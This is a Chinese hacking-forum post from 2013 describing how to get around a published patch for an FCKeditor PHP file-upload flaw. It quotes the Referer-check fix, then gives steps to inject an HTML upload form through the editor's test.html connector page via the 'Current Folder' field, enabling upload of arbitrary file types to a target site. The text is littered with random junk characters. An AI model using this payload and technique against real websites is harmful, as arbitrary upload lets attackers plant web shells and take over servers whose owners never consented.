找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2165|回复: 0
打印 上一主题 下一主题

fckeditor 漏洞修复后的二次利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:12:44 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php
  i9 ?4 Y8 P- z& y# D- v网上给出的修复方案是- B+ v) _* T% w" m$ F1 W! t' n
修复方法,删除FCK编辑器用其他的编辑器, E: G" |  P4 S$ l8 i9 b9 c( [
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件/ c  w- o3 c3 k( E2 f, v; m
' [( l6 ^0 g% |6 a
require(‘config.php’);$ v9 d$ ]% f! x* h. h- Y6 D$ }9 `
require(‘util.php’);8 g  l( d2 F% E! V$ j9 l
的下面添加以下代码—————————–, D+ S/ Z6 ]4 o/ x
//防止外部提交
# K6 [$ L5 L0 C; U$ Ufunction outsidepost()
) ^8 W( p6 }5 o5 i% |" I) k; t{
  a1 g5 X3 x2 v$servername=$_SERVER['SERVER_NAME'];
8 U/ x, ~) \; t  e( {2 ^3 k; U$sub_from=@$_SERVER['HTTP_REFERER'];
; x2 b5 f% V4 Q( J7 a$sub_len=strlen($servername);* b; G2 W2 @, {; z4 k
$checkfrom=substr($sub_from,7,$sub_len);
  ]# O; I1 c0 \& O! i" Iif($checkfrom!=$servername){5 F; g0 _  s, B. M$ d8 l
echo(“you don’t outsidepost!”);8 z0 `) u/ _/ a, Q. z& _8 m
exit;) G: z- S5 l2 O0 t% }: R! ?$ A
}
% A3 Q+ R2 U' p}$ f* B& k5 h2 j4 p" V$ w
outsidepost();
# d0 T, K0 z- Q( h防止外部提交,但是没有防止内部提交,
3 i" ]; R2 X% w利用方法:
% j0 t7 h3 _+ B( k! g1 q$ K1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html. t5 O( q& s; B9 Y9 _3 T8 J
2,在Current Folder 框输入3 O2 ], F8 J3 R8 p, T9 N9 `
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
) Y. x2 `+ U- {然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
& g) d  ~  v7 ]9 Z  z% pPS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表